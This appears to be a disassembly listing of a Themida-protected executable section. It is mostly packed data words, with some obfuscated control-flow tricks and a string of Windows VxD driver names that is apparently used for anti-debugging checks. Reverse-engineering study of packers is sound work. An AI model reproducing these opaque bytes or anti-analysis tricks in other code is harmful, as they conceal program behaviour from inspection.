dd 86BB64EFh, 0F9A30EE1h, 192824Ah, 1480h, 0F6B2F595h
dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h
dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DF1E9B27h
dd 961E7B6Bh, 0CC7D4002h, 0EBF0076Dh, 0D0291A11h, 51CD9803h
dd 0CB06BC7Fh, 0A7E2880Fh, 0AC5F81FBh, 9423B016h, 0DE5572EEh
dd 624BF025h, 124A0A02h, 141E9102h, 93330000h, 0A75DDC50h
dd 883DBC70h, 0A75CDB4Fh, 0C567EE6Ah, 0A8D4D286h, 0E357963Ah
dd 0BC70B154h, 0DA4E893Dh, 0BB6FA45Bh, 853DECD0h, 616BDF1Eh
dd 0BD5CB884h, 645D4C1Eh, 8267FC2Fh, 8F97D4A6h, 6C81C415h
dd 7EBB70E7h, 0A7B98E92h, 1B356C14h, 0B9FC4645h, 1C189423h
dd 0C3AFE89Dh, 0EAD48A5Fh, 0B9AD1514h, 64279423h, 9423B9DEh
dd 4B423A36h, 69835F94h, 23B900C2h, 7388E494h, 1D0940E8h
dd 0F44E3D23h, 109423B9h, 0F34F3A14h, 139423B9h, 0D2794217h
dd 0B95EE4A7h, 0BAB69423h, 630F44FBh, 0F709E3FFh, 23B98E34h
dd 15146694h, 9423B9ADh, 0F409ED49h, 0B2F19332h, 0E625C7BEh
dd 0A73E5D3Ah, 9258CD10h, 0DCF8E770h, 0F938D76Ah, 0FCA01C53h
dd 34A733C4h, 0AAE89F1Ah, 37279E38h, 2C412522h, 3D742CABh
dd 10A52249h, 364D9423h, 0B7EE969Fh, 95CC7403h, 124700BBh
dd 39E5025Eh, 9CAE2DCCh, 34181FAFh, 7B50560Ch, 20CA665h
dd 23089E14h, 98171048h, 6BD7D271h, 8B9E10F8h, 0BD8FB38Fh
dd 9C1045FEh, 4531661Dh, 8D7C6970h, 9E10F835h, 0F846FCAFh
dd 0C29E9E10h, 58724ECAh, 0F6D34586h, 3EC8838Ch, 54294D88h
dd 27DA7E57h, 0C29C9894h, 0C98050F7h, 2A77AB90h, 839DDDE4h
dd 0B36CEB5Fh, 0EA063DE3h, 0B12AC936h, 808CC19Fh, 4389DBEEh
dd 0A41E0DDFh, 408004C7h, 2B1C07E4h, 918A34BEh, 7FB2D45Ch
dd 637831E8h, 99FBBA9Fh, 6F36F95Ch, 67CFE653h, 0B363545Dh
dd 128322h, 0B3F69800h, 91C880F7h, 0AEE79E1Dh, 8BC87BFAh
dd 65A448CFh, 558703E9h, 41B874B3h, 5CDB4F90h, 68EF6BA6h
dd 0DBCE8ABFh, 18982AE1h, 1F7C6BDFh, 7C590295h, 40E66DCCh
dd 0DDFC4905h, 683DECFEh, 0F667FBD1h, 34D9607Ah, 0D7A93FFBh
dd 4DD10696h, 5C4FDE23h, 6DCC54E6h, 293E22FEh, 0EAF99B76h
dd 97500B30h, 60E38562h, 0DD000001h, 54BA0803h, 0F193924Ch
dd 0AA62BEB2h, 5C1399AEh, 0D78F1DC2h, 0CC7C6BD4h, 34DA616Dh
dd 5470A55Eh, 498629A0h, 0D0FDD95Dh, 59288CDh, 0B68A5FE4h
dd 4D7F8BEh, 0F470245Dh, 0D72B01D7h, 0A3225F04h, 17ACC102h
dd 0C35CAE74h, 0BA128E1Ch, 8D1BC05Ch, 2BF69E2Eh, 0B366B22h
dd 32h, 1CC35C81h, 5B04D78Eh, 0E79BD88Bh, 9782678Bh, 70F2C85Bh
dd 8487596Eh, 6DCCF83Bh, 0D7D157D3h, 5D04D7F5h, 0D58C4724h
dd 8A420E9Ch, 3440h, 0C35C8C00h, 0D4D78E1Ch, 6DCC7C6Bh
dd 3A731AA1h, 4006EA46h, 265B04D7h, 0FFE1F67Ah, 4796D72Dh
dd 0AFEC10A3h, 31D86378h, 2EE5E6F8h, 0CCB2955h, 42ECB895h
dd 222BF68Ah, 450B366Bh, 81000000h, 0CC80C05Ch, 0DB1ACE8Dh
dd 0A9D731F7h, 7C6ED4D7h, 0AA866DCCh, 7C69D6CDh, 6A636DCCh
dd 38F02DD1h, 0F11DDC01h, 0F8742643h, 71B253E6h, 2016AC5Fh
dd 72EE6DCCh, 0F5D7CF55h, 75437A32h, 4A408A42h, 8C000000h
dd 9625C05Ch, 66CAB6EFh, 0CC7C03BFh, 9A91E36Dh, 6DCC7C28h
dd 507450CCh, 6BD4D7CAh, 0A16DCC7Ch, 0F5D7E7B5h, 75437A32h
dd 4002A9D7h, 0A46DCC7Ch, 7C6BD7D2h, 8F8B6DCCh, 50F299B3h
dd 0B46DCC7Ch, 5428A3B8h, 0C7A4E385h, 0FE8140FDh, 5C8CFFFFh
dd 5D4C1EBDh, 67FBD295h, 0F64C3F31h, 0E9420D6h, 0D6D56D1Ch
dd 35319420h, 0A01B3511h, 24F6B2E7h, 0C9C0F195h, 9420D679h
dd 0C8A5C19Dh, 2739A235h, 20D6DE64h, 45443694h, 9420D6FDh
dd 4D391D19h, 20D6BA1Eh, 8EC57B94h, 142E3E2h, 0DE750615h
dd 0D37201F2h, 7E7FBB16h, 3B9B39h, 2F10000h, 6DCC7C44h
dd 41FD32D9h, 0CC7C3D8Ah, 0A39D3C6Dh, 498629FFh, 0A437492Dh
dd 0D0A8C5FCh, 0A1772BAEh, 60C4B0EFh, 2FBC6784h, 0B767FC20h
dd 761AA1BBh, 2B9C2237h, 0F3h, 1EBD5CA1h, 5A7324Ch, 9FAB1C6h
dd 0ED67FC19h, 266E5F71h, 1E162D8Ch, 904B2D4Ah, 0A0CD9FDAh
dd 436BEEE8h, 0FFD01096h, 0ADA3B783h, 0AB2AB4C9h, 0FBC8BCF7h
dd 13EDFFDCh, 1A3D39DAh, 512B7631h, 23CAE85Ah, 3B100C94h
dd 14649A50h, 1C2E2A9Eh, 97D47742h, 0E97287EBh, 6C4E0A45h
dd 528F0D7Fh, 0E2F7E46Dh, 8584B559h, 9E10513Dh, 0C705DD9h
dd 0CBBA4FCEh, 0CAB4C6AAh, 108963DFh, 0D2A7839Eh, 3D8DFD4h
dd 3EAB42E9h, 0D63B9427h, 0F49DF3B6h, 728C68B9h, 160A41E7h
dd 0B28ECD7Fh, 0C39DC395h, 6B1752F8h, 5EA22007h, 0CA7B8005h
dd 0C09D9989h, 0A3174CF3h, 91366B14h, 5E2CEC3Ch, 5DB720F4h
dd 7200000Fh, 3AC17DC0h, 58DF5B92h, 35C478B1h, 62D95592h
dd 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h, 59943AC1h, 78AD56E5h
dd 34F7C9C4h, 6BDF1B8Eh, 32C38966h, 0DE504479h, 0B76BA85Bh
dd 0BB019CB2h, 547025F8h, 0CE03BC77h, 0BF566522h, 2498CD76h
dd 0DD65243Ah, 396DCC02h, 9657203Dh, 76336AABh, 6Bh, 0E11ED188h
dd 4D7400Ch, 0B94C2160h, 0D1AFC11Ah, 0CC7C68DAh, 0BB908C6Dh
dd 10B1E6A5h, 0DB4D67FCh, 23979230h, 0DAF67294h, 4CE2CB00h
dd 4F4D1571h, 6FA2FD8h, 3A514D2Ah, 59E05C91h, 0ECCE74B2h
dd 769FEA89h, 94B805Ah, 7C2D5645h, 976C1A2Fh, 1CA66580h
dd 0F89423B2h, 0A95D4F7Ch, 0D7148D02h, 0D92AE1FBh, 0BD9E1367h
dd 0D75FED61h, 6B32F496h, 0F262ACF5h, 0A4D26199h, 4DF3B28Eh
dd 0F1066A16h, 0CF8BC26Ah, 0AA1813EDh, 4A6DCCBAh, 8A42F9CEh
dd 0AC27953h, 6108F6D3h, 6DCCBAFAh, 0F266A145h, 7B55868Dh
dd 0FB17CC90h, 7D2C5267h, 94210CC5h, 72284521h, 0B055E4F6h
dd 0F625C377h, 30EB221Bh, 140FBh, 0C25C5100h, 0D4D78F1Dh
dd 6DCC7C6Bh, 209BB5A1h, 43422E6Bh, 0B5B1659Eh, 0D7F0BC91h
dd 0AF771AF5h, 8E1CC35Ch, 0C05CBA12h, 9E2E8D1Bh, 6B222BF6h
dd 2D0B36h, 5C810000h, 0D78E1CC3h, 0CC7C6BD4h, 21A7836Dh
dd 7F32A9D7h, 0F9CE523Eh, 427B3233h, 0D78A4274h, 7C4002A9h
dd 0C8A46DCCh, 4E36B3h, 0D7860000h, 71255C04h, 4F1504ECh
dd 381C3C4Ch, 0B039C223h, 0CCB849F9h, 95B1AD6Dh, 1C4700BBh
dd 0CCB8D56Dh, 1135316Dh, 0D4D7703Ch, 6DCC7C6Bh, 76CCBFA1h
dd 8E6DCC7Ch, 611556F7h, 1C0FE105h, 6DCC7CA6h, 38FEE23Eh
dd 7B32F5D7h, 8A427442h, 6B222BF6h, 420B36h, 5C810000h
dd 90C980C0h, 0D66480E4h, 4002A9D7h, 826DCC7Ch, 0CC7C3B87h
dd 8F7FDB6Dh, 0E7A2B693h, 6DCC7C5Eh, 9A6A21B8h, 0EC98BCF1h
dd 0C7926C88h, 383CE823h, 0F5D78923h, 75437A32h, 40408A42h
dd 8C000000h, 8D1BC05Ch, 265B04D7h, 2F512F51h, 0CC7CC67Ch
dd 25421E6Dh, 0CC7CC17Eh, 8D1B3B6Dh, 4D7F5D7h, 8D46235Eh
dd 0A95297D7h, 6AEC709h, 0F87C285Dh, 0F8E6F8DCh, 0CC5EB111h
dd 4D9556Dh, 408A4228h, 0FFFFFEB7h, 1EBD5C8Ch, 0D2955D4Ch
dd 0F10F67FBh, 20D6883Ah, 39F06C94h, 7B7F5C93h, 0BAB3CD9Fh
dd 6CFFA060h, 54DFFCC7h, 9D636DABh, 0B7AC2FCh, 96D195Ah
dd 7BBA6EEDh, 0B5C7AB87h, 5C487D26h, 0BA4EA5CFh, 886CECF4h
dd 8396EB73h, 0D9CD0ABDh, 7967795Dh, 92370BC2h, 0ADC9AD59h
dd 0A3607DF9h, 9420091Fh, 7F617BF7h, 2009368Ch, 7552CE94h
dd 0E2C9B789h, 94200960h, 0D8D3A884h, 94200974h, 0A441E093h
dd 397EB549h, 1029h, 4402A300h, 0D96DCC7Ch, 0C841FD32h
dd 0BFh, 5E04D734h, 0D6F36F23h, 19D07087h, 143034E0h, 5B24F3Ah
dd 0D85467FCh, 548F3306h, 72AD61D8h, 0F52AE158h, 56482501h
dd 0BF914A69h, 142512CCh, 9CAEAA9Eh, 1C2E691Dh, 25AF2E2Fh
dd 0DD028Bh, 30D56436h, 0D88C0BF7h, 0E8A3BD99h, 9E10375Ah
dd 0D2895EBAh, 0C035E11Ch, 0E1C8A239h, 9427804Ah, 6BEE005Ch
dd 63BE4B4h, 728C6EEAh, 4800BB7h, 5A6FEB80h, 2FEC2AE1h
dd 8C352CEEh, 0BAF7AC2Bh, 0E1866AC6h, 5E2D60E6h, 0D1E9FAAAh
dd 0E600000Bh, 0CE4D0144h, 0EC6BDF16h, 0B940FC35h, 0D665D916h
dd 5137F332h, 0E625C735h, 142E372h, 0DD18CE4Dh, 0FC31DA61h
dd 0B8734D40h, 6BDF170Ah, 3227EDEAh, 0AF2A4479h, 0DEA0BDFEh
dd 0BC7040E7h, 5987597Dh, 0CC7C10B2h, 6378F46Dh, 3ED5E6A3h
dd 0C78050F7h, 20FAAE92h, 0CBB7F899h, 448D9267h, 0B4336B2Ah
dd 59508125h, 923384E9h, 4135110Dh, 83C266E5h, 550266h
dd 0D7480000h, 71255C04h, 6E85D8F5h, 0B98936Dh, 0AB67FC1Dh
dd 0C24B99A6h, 98504D71h, 95B1B561h, 1DC6C5B1h, 3EE574E8h
dd 0BE64F709h, 0C2249E8Dh, 64C09423h, 0EF9A9480h, 9423C253h
dd 0BE9BB7B3h, 0F7E4F3C0h, 63D2FBE5h, 1324F4C2h, 9B682338h
dd 7B9E1391h, 0D79D2B9Fh, 75216004h, 8A76AF56h, 26ADCAA6h
dd 0D493477Eh, 6DCC7C77h, 73E722C8h, 0FAD4070Eh, 0FBD1460Fh
dd 4A240067h, 0C502A534h, 0BB7855D1h, 7B11CD06h, 0EB221BF6h
dd 1F5FB30h, 36050000h, 0A983588Dh, 8F1DC25Ch, 7C6BD4D7h
dd 0B5A16DCCh, 2A9D7E7h, 6DCC7C40h, 2DFABFA4h, 0BE14A261h
dd 0CDB3C5A2h, 0DC37E9A0h, 3D39ED24h, 0A8BCBC10h, 771AF9D3h
dd 1696D7AFh, 0E7443D21h, 19A24318h, 4D700C6h, 0E09E195Fh
dd 8F30D5C1h, 5BFD96B3h, 4085372h, 0A3B857A4h, 2A9D709h
dd 6DCC7C40h, 38EC2BDDh, 13E8443Ch, 37DA6672h, 4A260AF6h
dd 2A9D77Ch, 6DCC7C40h, 24B3C8A4h, 222BF694h, 4E0B366Bh
dd 81000000h, 4002A9D7h, 0A46DCC7Ch, 0C952B3C8h, 0D0754416h
dd 0D7EAC297h, 3F7E32A9h, 451EC653h, 0DB418935h, 9C29E2F7h
dd 586DCC27h, 3BF31C73h, 27DE69E3h, 5F5D2EEh, 0F5D7A329h
dd 0C94D96D7h, 0F4F47406h, 6CA55CD7h, 408A42DEh, 86h, 1CC35C8Ch
dd 2A9D78Eh, 6DCC7C40h, 7C3B8782h, 7FDB6DCCh, 1A4FF88Fh
dd 11E60A66h, 0A44A11EFh, 0A4B9BD69h, 0CC7C5EE7h, 0CC9ED66Dh
dd 7C4BF7B2h, 0A2896DCCh, 6DCC7C20h, 0BCB868C4h, 7C5BE7A2h
dd 5FBB6DCCh, 0A9D7C28Ah, 2DA196D7h, 9696CEBAh, 0CCCB53EFh
dd 661CB36Dh, 0D7FB772Bh, 0A9D72A02h, 0CC7C4002h, 0B3C8A46Dh
dd 36488128h, 7CE16148h, 29056DCCh, 96D77854h, 0D8F0BB67h
dd 0FC6784CBh, 518E41F8h, 2BF6B07Ch, 0B366B22h, 41h, 1BC05C81h
dd 6104D78Dh, 0DBF07420h, 7CB90605h, 0D9556DCCh, 51903407h
dd 96D7B07Ch, 5956B5FDh, 0BDE502E0h, 78515A7Fh, 0F40AEE0Bh
dd 6F89E8F7h, 82575109h, 437A32AAh, 408A4275h, 3Ah, 1BC05C8Ch
dd 6BD4D78Dh, 0A16DCC7Ch, 3DB29BB5h, 1D031E31h, 73EE665h
dd 0F5D75AF2h, 653A7A32h, 592CF65Ah, 4292183Ch, 0D969203Eh
dd 86DCC7Ch, 0C6F20C6Dh, 72EE9EE0h, 1140CF55h, 40FFFFFEh
dd 0ABE89B1Eh, 368C7BF7h, 0CE6DCC7Ch, 5CAF7552h, 9BAB15BDh
dd 499B13B4h, 9A58532Dh, 3A67FB0Eh, 0CF20CDEh, 21FAA51Dh
dd 0DC4194h, 0C1E85BF3h, 0CC876480h, 8141E813h, 43942167h
dd 2167FA48h, 4E3E1A94h, 73B053D2h, 7386DB4Fh, 7A01E55Fh
dd 0A849607Ch, 9BB7BB67h, 0BBA5B7h, 52390E4Bh, 9421C5F0h
dd 0DB672214h, 3B9421C5h, 0DBCDFADFh, 6DC9FB8Eh, 6ACE9D89h
dd 99942176h, 63AE4BEAh, 43397E20h, 10h, 7C440289h, 32D96DCCh
dd 0EBC841FDh, 34000000h, 7CC996D7h, 0F9306F92h, 607281E4h
dd 79CEDC89h, 8C36F549h, 686DCCEDh, 1316E80Ch, 6DCCEDAFh
dd 0F507EB47h, 8C36F50Bh, 686DCCEDh, 2734EF0Ch, 0BF67FC81h
dd 1CD28963h, 0C8936DE1h, 0D301E623h, 4AF7844Ch, 1FC3906Dh
dd 9B4F0AE4h, 269B8B60h, 4C324C8Fh, 6205D78Dh, 0D1554125h
dd 11D30FFCh, 0F7739E0Bh, 0D8D5E8E5h, 0CC8FFD8Ah, 4D29DD14h
dd 0AD2C5429h, 300ABEF9h, 0ADCA05A9h, 51458026h, 74865564h
dd 266B26B5h, 48AD9E94h, 0F76213E2h, 411DDDFAh, 0E85A512Fh
dd 0C800653h, 96253B10h, 2C6B1DEDh, 0D4C0F7ADh, 41B87450h
dd 0EFE8558Ah, 0CF5E2FE1h, 792CED7h, 7A70000h, 0DB9108C4h
dd 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh
dd 0F8B4F598h
dd 1692CD81h, 0F7B3E89Fh, 0C1812814h, 256BDF13h, 7932FCC8h
dd 5BDE5044h, 0AE5D6FA4h, 6DCC7C14h, 0DC5774F0h, 4502EE23h
dd 803B9F36h, 164FF6C8h, 36EA066Ah, 35790D3Ah, 0E5197BE2h
dd 5F944B08h, 94DD30EBh, 3CBD336Ah, 0F000000h, 4C1EBD5Ch
dd 0E55D4C32h, 16DCC7Ch, 0C65B4825h, 0BE67FC1Fh, 46B30D8Dh
dd 0E0FD756Bh, 0D8523E1Ah, 0CC598FF3h, 4825F03Fh, 237FE35Bh
dd 0D2710294h, 7C32D617h, 3AB639h, 5C140000h, 5D4C1EBDh
dd 67FC2A40h, 770E025Eh, 981F9BD0h, 956B1FEFh, 65C1B5F2h
dd 0B5919581h, 7C7E6FC1h, 7C6FE328h, 6E85D8F5h, 30E419D2h
dd 4B3E1034h, 9E13B75Eh, 0BA500C68h, 0A62DB415h, 0D86A213Fh
dd 3C6DCC7Ch, 7C8939E0h, 0F16D6DCCh, 9310FBD5h, 3367FC20h
dd 0F7ABE69Ch, 18AA617Bh, 0FC9423A0h, 0DA814420h, 55B91D97h
dd 904F8392h, 9373C77Bh, 56973AF1h, 0D0AAC6AAh, 34762BAEh
dd 0E92BBE30h, 86637F77h, 85D9C89Dh, 26DA565Eh, 0CFA13AD9h
dd 4318590Ch, 82A66E1Dh, 25E5495h, 0A24316E8h, 18CF8C61h
dd 6843EEDh, 4604095h, 6833FEAh, 7634095h, 738D6FEBh, 95060AB8h
dd 596EEA40h, 47F429E2h, 9EBCB454h, 1D5B4C58h, 32000006h
dd 0FA813D80h, 189F1B52h, 0F5843871h, 22991552h, 8D7B2F6Eh
dd 22610371h, 3D7E2FA6h, 1954FA81h, 386D16A5h, 0F4B78984h
dd 6BDF0D4Eh, 328349A6h, 39504479h, 82DF5B94h, 68966873h
dd 7C2F9396h, 6BC76DCCh, 9FD34ECh, 8F53502Dh, 2767FBD2h
dd 8940574Bh, 64FEEB50h, 0DEB64A09h, 5BBF5h, 0DB1ED000h
dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h
dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 0DB012F9h
dd 57546BDFh, 83BD5CCDh, 0ADBFA3E0h, 0FBD220FEh, 0B460BC67h
dd 92377015h, 4A09646Fh, 6D821303h, 82000005h, 4AD18DD0h
dd 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh, 529133A1h
dd 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h, 6BDF0DBEh
dd 0D7D35956h, 7C2F5C04h, 6DCC7CC6h, 721E421Eh, 7CB111F8h
dd 0D9556DCCh, 767DE0FDh, 0FC628B65h, 0E827C981h, 8E46003h
dd 0CC1E0DF3h, 5867FBEEh, 56C509D3h, 0C9ADEEBBh, 427F24B7h
dd 0AB627925h, 9CB4C572h, 0D0C44A09h, 4F3C7h, 23660800h
dd 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h
dd 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0E68DAD1h
dd 0F8C6BDFh, 44793285h, 5D923950h, 16AD16A9h, 0A723580Fh
dd 4E427730h, 0CC7CBE07h, 861D646Dh, 0F7B3E89Fh, 0DE92C780h
dd 0BA7040E7h, 0B38F937Fh, 0D00BAAF7h, 112E0BFEh, 23B667FCh
dd 452F3C7Eh, 0DAA4862Ch, 4521E1F6h, 59BC0A51h, 0DC919423h
dd 33D8EFA3h, 0BB1D0AF6h, 0AFE0A4E8h, 801FD284h, 99384B3Ch
dd 7B67915Ch, 953A0139h, 0F02FE158h, 5F75DBh, 5CD70000h
dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 4601453h, 0D67037E7h
dd 67943C7Ch, 299990C5h, 0CD943C7Ch, 9C817551h, 1B54F207h
dd 0E48A4189h, 361A5B0Eh, 8939F04Ah, 6D943CC7h, 2EC55EF1h
dd 23C2F1A2h, 7A7AEBC6h, 86855B39h, 943CD33Ch, 87825CD8h
dd 943CD33Bh, 66A7FDBh, 0EBh, 44793244h, 58973950h, 41762DACh
dd 588D3655h, 0DE25E4h, 68966DCCh, 338001C1h, 0D289E592h
dd 510ADF1Eh, 758B659Ah, 33800CB6h, 6F8CE892h, 0A14615E7h
dd 13CC8764h, 36BD32DEh, 5810CBA5h, 75344C21h, 9803F3B4h
dd 0E75B4E30h, 0FF942395h, 0C100A423h, 0BE7AF6ACh, 77895261h
dd 155D86B4h, 0E8025E9Eh, 6E80BF71h, 6FA39EBh, 12894D2Ah
dd 0C082295Eh, 0EF9E114Ch, 0B30BE754h, 7DF9A96Ah, 7A91F459h
dd 91D4038h, 367A0h, 87CA7C00h, 659C44D3h, 82BB72E9h, 5F9C4FC6h
dd 79B86CEBh, 49BBC7C5h, 65F468A7h, 50C783C4h, 6CEB5F9Ah
dd 0DFCA7EB3h, 0F942EDDh, 73706BDFh, 5B04D7A9h, 0E1F67A26h
dd 0BA81B65Ah, 472BD716h, 0CC7CE260h, 0AF26026Dh, 2A9EC2F9h
dd 0BBFF4ABh, 0C607AA31h, 0F90D4DDAh, 0C59BA346h, 5C00CCA1h
dd 8D4C1EBDh, 255E03D9h, 0FCD15541h, 7C0C25E4h, 0E0A67FCh
dd 9D510862h, 209E8562h, 0C3942383h, 0F9D411B0h, 0D9397B36h
dd 0ACh, 44793233h, 0ED55542Ah, 96DCC7Ch, 0DC4E502Dh, 5C71A65Dh
dd 2EE2DDFh, 0CC00AC53h, 93C87F6Dh, 0B2E7A017h, 0F9E2F1BEh
dd 0F3E724E7h, 0C39F9803h, 0CA1BBA07h, 239563DFh, 30A78394h
dd 0D1554178h, 0FB30DBF5h, 8B9E1558h, 0BDA3BD8Fh, 114874CEh
dd 0B794909Eh, 550948FCh, 76E322C6h, 4038FA31h, 751C8D99h
dd 8A000002h, 0B229A5E8h, 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh
dd 252397D6h, 0BAF9ABD9h, 95D677FEh, 0B1ECA219h, 90C57EFDh
dd 5C4F311Ch, 6BDF08E6h, 0D71BA1FEh, 43071C96h, 0D289E2D3h
dd 5209DE1Fh, 6CEB5F9Eh, 3CCA7EB3h, 50447932h, 0B90900DEh
dd 966DCC7Ch, 66CAB6EFh, 7DC5C4B6h, 996DCC7Ch, 17A4B99Dh
dd 3F213B70h, 0CC7CF64Ch, 0D4770E6Dh, 6B87EB97h, 5C7BC88Eh
dd 25BE6D7Fh, 0C167FC1Fh, 5CEAB165h, 0BF9423A1h, 45886D04h
dd 25397B4Dh, 2Ah, 1EBD5C67h, 20CC5D4Ch, 7EDA67FCh, 2B97926Ch
dd 0CB9423A1h, 0DD8C7A4Fh, 9423A161h, 9550EF84h, 397B593Ch
dd 431Ch, 45026E00h, 46DCC7Ch, 599A4BF5h, 31D8637Dh, 53280CF8h
dd 8757E2Dh, 0EC6F67FCh, 280CF839h, 8F384F53h, 0A6CAA65Ah
dd 48364832h, 2388E161h, 82290594h, 942388C0h, 88BB0702h
dd 0FF5B9423h, 6E36130Fh, 4C1EBD5Ch, 7CCB7732h, 2F2B6DCCh
dd 0E243461Ah, 1C67FC1Eh, 0B9055440h, 5C9423A2h, 0A46D8827h
dd 14397B4Bh, 0B064A345h, 233197B4h, 9B000000h, 0CC7C4402h
dd 0E7F4036Dh, 81D1615h, 0BDB967FCh, 7085AAA3h, 0E6206DD6h
dd 0DF0CA05Ch, 81567006h, 0BD5C2FBDh, 7CC18128h, 0A55E6DCCh
dd 0F0A08470h, 13AF5A74h, 0F36DCC7Ch, 8A815B77h, 67FBD228h
dd 0DB5E70ECh, 0BC3BEF24h, 0CD22CE03h, 1A53FA46h, 7FBC6F66h
dd 29BB7663h, 0A726C1A4h, 0DDFAB1CBh, 179E178Eh, 13784CD6h
dd 21981DD0h, 0E440346Bh, 45171307h, 0FC46451Bh, 189E1535h
dd 0CB743F1Ch, 0EC932296h, 0DFF6CBB7h, 8074AB61h, 0D0AEC0A4h
dd 52276809h, 254C6459h, 41A68294h, 5E2C8EF6h, 0A1594A5Ah
dd 0B6000000h, 0DE5DD114h, 0BC3BEF26h, 8910CC05h, 0A635A9E6h
dd 2107C302h, 96D577E5h, 0B1F29322h, 8DC87EFDh, 6CA14AD1h
dd 803FDF0h, 6BDF0ABAh, 5CB77D5Ah, 324C1EBDh, 0CC7CCB77h
dd 4122F66Dh, 93EAC939h, 966A7FDBh, 0FBEFB693h, 20D45067h
dd 11CD02A9h, 0F8ACE18Ah, 8EDA2B1h, 8322812Ah, 0F8B4E9A2h
dd 0E195CA81h, 1C0845EAh, 0D958F78Ah, 71AC6232h, 9C5A185h
dd 6309D992h, 0D8FC782Ch, 1EBB2Ch, 0F6C50000h, 6B41164Fh
dd 4002A9D7h, 0A46DCC7Ch, 1B55B3C8h, 5B12ECA0h, 0CEF26E22h
dd 0A3293E22h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh
dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h
dd 0E08950CFh, 405h, 4E88300h, 8B240487h, 3F682424h, 8900005Ah
dd 8956242Ch, 4C681E6h, 81000000h, 4EEh, 24348700h, 240C895Ch
dd 661CBF57h, 0E7D1152Ah, 8103EFC1h, 0DF68CBC7h, 31EF8141h
dd 81757B34h, 648986C7h, 5FFD8934h, 240C8B54h, 6804C483h
dd 3CE8h, 0BA241489h, 8, 2A89CA01h
dd 240C8B5Ah, 5E08950h, 4, 8704C083h, 0FF5C2404h, 815D2434h
dd 4C4h, 8A2E900h, 0F228FFFDh, 3B09EEFDh, 0D810C084h
; ---------------------------------------------------------------------------
pop es
or ah, al
loc_582C43: ; CODE XREF: Themida_:loc_580B3Bj
mov eax, 6137742h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
mov esp, 0A51977D8h
dec eax
retf 863Ah
; ---------------------------------------------------------------------------
db 8Eh, 0FAh, 72h
dd 0FF62229h, 7F4DE4F0h, 7880D9D0h, 6E8h, 0DFBF8D00h, 0B7ACE145h
dd 0C2815AD3h, 7588h, 0EE9h, 228E6100h, 75FCFA3h, 0DCF15F69h
dd 0BEA23ED0h, 3640242Ch, 391BF681h, 85B53640h, 0E95832FFh
dd 11h, 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h, 35F0817Fh
dd 810724C8h, 37C27AF0h, 3800F46h, 66000000h, 0E881CF8Bh
dd 92D91F6h, 11E9h, 0A65F2800h, 0C8ED8D9Fh, 0D5C55174h
dd 975B86E7h, 665074DDh, 28FFA8Bh, 68D0Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
sub edx, 4
jle loc_582D11
jmp loc_582D11
; ---------------------------------------------------------------------------
dw 7704h
dd 0A72ACF48h, 2A763F0Ch, 0E02E8848h
; ---------------------------------------------------------------------------
push esi
loc_582D11: ; CODE XREF: Themida_:00582CF7j
; Themida_:00582CFDj
dec esi
jnz near ptr dword_582C58+40h
stc
jmp short loc_582D4F
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw db 'IFSMGR VKD VMM VWIN32 VXDLDR ',0
dd 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_582D4F: ; CODE XREF: Themida_:00582D19j
jmp loc_58353A
; ---------------------------------------------------------------------------
push 0
push eax
call sub_582D5F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582D5F proc near ; CODE XREF: Themida_:00582D57p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_582D5F endp
; ---------------------------------------------------------------------------
mov dl, 3Dh
jecxz short loc_582DD3
pusha
mov cl, bh
mov edx, 5B0050F2h
popa
cmc
mov dword ptr [ebp+61378D8h], 0
push 0
push ebp
call sub_582D92
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582D92 proc near ; CODE XREF: Themida_:00582D8Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_582D92 endp
; ---------------------------------------------------------------------------
dw 2976h
dd 600BBD40h, 5E860h, 0AF750000h, 5E3A870Ch, 8E9h, 0F729B700h
dd 6EDDE124h, 6CB9617Bh, 61673261h, 6AC68Bh, 3E857h
db 2 dup(0), 20h
; ---------------------------------------------------------------------------
loc_582DD3: ; CODE XREF: Themida_:00582D71j
pop edi
retn
; ---------------------------------------------------------------------------
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 17h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
db 0DCh, 26h, 0D8h
dd 0B8A0FCDh, 60000000h, 0CC49BE66h, 8FC88166h, 0B70F61B0h
dd 18B0FD8h, 0F8000000h, 6A10E8C1h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A93EC357h
dd 0F1068BE9h, 8D0FC345h, 7, 1850Fh, 66F90000h, 0F808C8C1h
dd 78DC8589h, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0C61ABEC3h, 0F468678h, 188h, 0C166F500h
dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 60BF2BC3h, 0C2B70F53h, 63BB665Bh, 0FB836167h
dd 31850F40h, 0E9000000h, 0Bh, 60C5DAC1h, 0BB2858F4h, 8D5467DAh
dd 1378B0BDh, 8B0F6006h, 3, 0FD0B70Fh, 48Bh, 0DABA6600h
